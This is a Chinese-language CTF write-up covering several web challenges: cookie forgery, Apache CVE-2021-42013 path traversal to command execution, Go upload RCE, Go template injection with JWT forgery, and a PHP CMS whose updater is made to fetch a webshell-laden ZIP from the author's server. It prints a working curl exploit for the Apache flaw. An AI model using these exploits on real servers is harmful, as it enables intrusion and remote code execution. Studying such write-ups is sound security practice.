Power Cookie
考点:简单的签到题
在登录解密抓个包就可以发现解题思路了:
在check界面加个admin的cookie就可以得到flag
魔法浏览器
考点:签到题
getme
CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越与命令执行漏洞
这个倒是挺好识别的,打开浏览器抓包界面:
POC:curl -v --data "echo;cat /diajgk/djflgak/qweqr/eigopl/f*" '[http://node4.buuoj.cn:29284/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'](http://node4.buuoj.cn:29284/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh')
hackme
考点:GO语言的RCE
进入后本来就只有process,log,whoami,users,uptime,flag
这几个选项的,算了我还是重开一个环境吧:
点进去process:
返回了一些敏感信息,可以看到每个文件都是go类型的文件,随便上传一个文件:
会自动加上后缀,尝试过上传go文件,我猜测他会执行这个go文件:
但是他似乎会自动给你加一个.go后缀,到这里就给绕的有点恶心了,然后想起来之前访问users目录:
也会回显一个类似的,这边的users.go似乎就没加后缀,所以我们是否只需要上传一个users.go文件,内容就是命令执行的内容即可呢?:
1 | package main |
访问users后得解
fxxkgo
考点:GO的SSTI,JWT伪造
白盒审计,给了源码,顺便浅学了一下GO和Go.Gin的语法
1 | package main |
审计一番后可以发现有个流程的register->auth->flag
先注册一个register,然后去auth界面输入我们的用户和密码,会返回一个jwt,但是从源码中我们不知道key
分析一下rootHandler
函数,可以看到有一个tpl.Execute(c.Writer, &acc)
,这个函数会解析模板,也就是考虑此处有个ssti注入,检索了一下go的ssti:
{{.}}
表示当前对象,如user对象
{{.FieldName}}
表示对象的某个字段
{{range …}}{{end}}
go中for…range语法类似,循环
{{with …}}{{end}}
当前对象的值,上下文
{{if …}}\{\{else}}\{\{end}}
go中的if-else语法类似,条件选择
{{xxx | xxx}}
左边的输出作为右边的输入
{{template "navbar"}}
引入子模版
这边我们不可以直接{{.secret_key}}
获取key,因为解析的acc数组,不是实例化对象,所以得不到key,这里需要用\{\{.}}
去获取当前对象的整体属性,来获取key
思路就很清晰了,先注册一个账号,再去auth认证得到jwt,再去/
携带X-Token发送post获取key,最后伪造一个jwt,去/flag
获取flag
获取key为fasdf972u1041xu90zm10Av
ezcms
考点:PHP代码审计,弱口令,远程文件包含
直接就白盒了,但是文件多的和屎一样
发现一个admin.php,我们就直接进去:
一个登录界面,admin/123456/123456,认证码和密码都是123456
在这里找了一会儿也没啥东西,有个数据库,但是里面没东西,审计了一下源码,发现了一个update.php,这个文件没在前台显示
发现了一个更新的功能,他会下载远程的文件,并且解压,那我们岂不是在自己的VPS把一句话木马套一个ZIP,然后让他下载解压,我们不就蚁剑上号了?
思路就这样很简单,但是还需要分析一下sys_auth
函数,他对我们传入的url做了加密:
1 | /字符加密、解密 |
这边我们就直接构造poc了:
1 |
|
把这个参数在update路由get方式传入:
最后再网站根目录访问3.php
可以RCE:
可喜可贺可喜可贺
这里我思考出了一个小tips,遇到CMS框架,先把他当做渗透测试一样打一通,发现没思路再看看源码!
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.